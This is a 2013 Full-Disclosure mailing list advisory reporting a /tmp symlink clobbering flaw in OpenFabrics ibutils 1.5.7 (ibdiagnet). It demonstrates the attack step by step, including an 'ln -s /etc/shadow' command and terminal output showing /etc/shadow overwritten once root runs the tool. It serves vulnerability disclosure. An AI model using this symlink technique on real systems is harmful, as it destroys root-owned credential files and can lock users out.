[Date Prev][Date Next][Thread Prev][Thread Next][Date Index][Thread Index]

[Full-disclosure] OpenFabrics ibutils 1.5.7 /tmp clobbering vulnerability



<html><body><div><h2>OpenFabrics ibutils 1.5.7 /tmp clobbering vulnerability
</h2>
<hr>
<p>3/6/2013<br>
Larry W. Cashdollar<br>
@_larry0
</p>
<p>The infiniband diagnostic utiltiy handles files in /tmp insecurely.  A 
malicious user
can clobber root owned files with common symlink attacks.
</p>
<p><a 
href="http://www.openfabrics.org/downloads/ibutils/";>http://www.openfabrics.org/downloads/ibutils/</a>
</p>
<p>[nobody@exdb01 tmp]$ ln -s /etc/shadow ibdiagnet.log <br>
[nobody@exdb01 tmp]$ ls -l ibdiagnet.log 
lrwxrwxrwx 1 nobody users 11 Mar  6 18:19 ibdiagnet.log -&gt; /etc/shadow
[nobody@exdb01 tmp]$ 
</p>

The following files are created, I imagine anyone of them can be used.

<p>[root@exdb01 tmp]# ls -l /tmp/ibdiagnet*
-rw-r--r-- 1 root root  57611 Mar  6 18:20 /tmp/ibdiagnet.db
-rw-r--r-- 1 root root    830 Mar  6 18:20 /tmp/ibdiagnet.fdbs
-rw-r--r-- 1 root root   5805 Mar  6 18:20 /tmp/ibdiagnet_ibis.log
-rw-r--r-- 1 root root   2359 Mar  6 18:20 /tmp/ibdiagnet.log
-rw-r--r-- 1 root root   7072 Mar  6 18:20 /tmp/ibdiagnet.lst
-rw-r--r-- 1 root root    456 Mar  6 18:20 /tmp/ibdiagnet.mcfdbs
-rw-r--r-- 1 root root    784 Mar  6 18:20 /tmp/ibdiagnet.pkey
-rw-r--r-- 1 root root   3348 Mar  6 18:20 /tmp/ibdiagnet.psl
-rw-r--r-- 1 root root 179228 Mar  6 18:20 /tmp/ibdiagnet.slvl
-rw-r--r-- 1 root root    193 Mar  6 18:20 /tmp/ibdiagnet.sm
</p>
After root runs a diagnostic command:

<p>[root@exdb01 tmp]# ibdiagnet -ls 10 -lw 4x -vlr
Loading IBDIAGNET from: /usr/lib64/ibdiagnet1.5.7
-W- Topology file is not specified.
</p><p>    Reports regarding cluster links will use direct routes.
Loading IBDM from: /usr/lib64/ibdm1.5.7
-W- A few ports of local device are up.
</p><p>    Since port-num was not specified (-p option), port 1 of device 1 
will be
    used as the local port.<br>
-I- Discovering ... 7 nodes (2 Switches &amp; 5 CA-s) discovered.
.<br>
.<br>
.<br>
.
</p>
<p>    Extracting SL Based Routing Info         0      0     
</p>
Please see /tmp/ibdiagnet.log for complete log
<p>-I- Done. Run time was 2 seconds.
</p>
Symlinked files are overwritten:

<p>[root@exdb01 tmp] ls -l /etc/shadow<br>
-rw------- 1 root root 2359 Mar  6 18:17 /etc/shadow
[root@exdb01 tmp] head /etc/shadow<br>
-W- Topology file is not specified.
</p><p>    Reports regarding cluster links will use direct routes.
-W- A few ports of local device are up.
</p><p>    Since port-num was not specified (-p option), port 1 of device 1 
will be
    used as the local port.<br>
-I- Discovering ... 7 nodes (2 Switches &amp; 5 CA-s) discovered.
</p>
<p>-I---------------------------------------------------
-I- Bad Guids/LIDs Info
</p><h4>
Versions installed</h4>

<p>[root@exdb01 tmp] rpm -aq |grep ibutils
ibutils-1.5.7-1.el5<br>
ibutils-libs-1.5.7-1.el5<br>
ibutils-devel-1.5.7-1.el5<br>
[root@exdb01 tmp]
</p></div></body></html>
_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/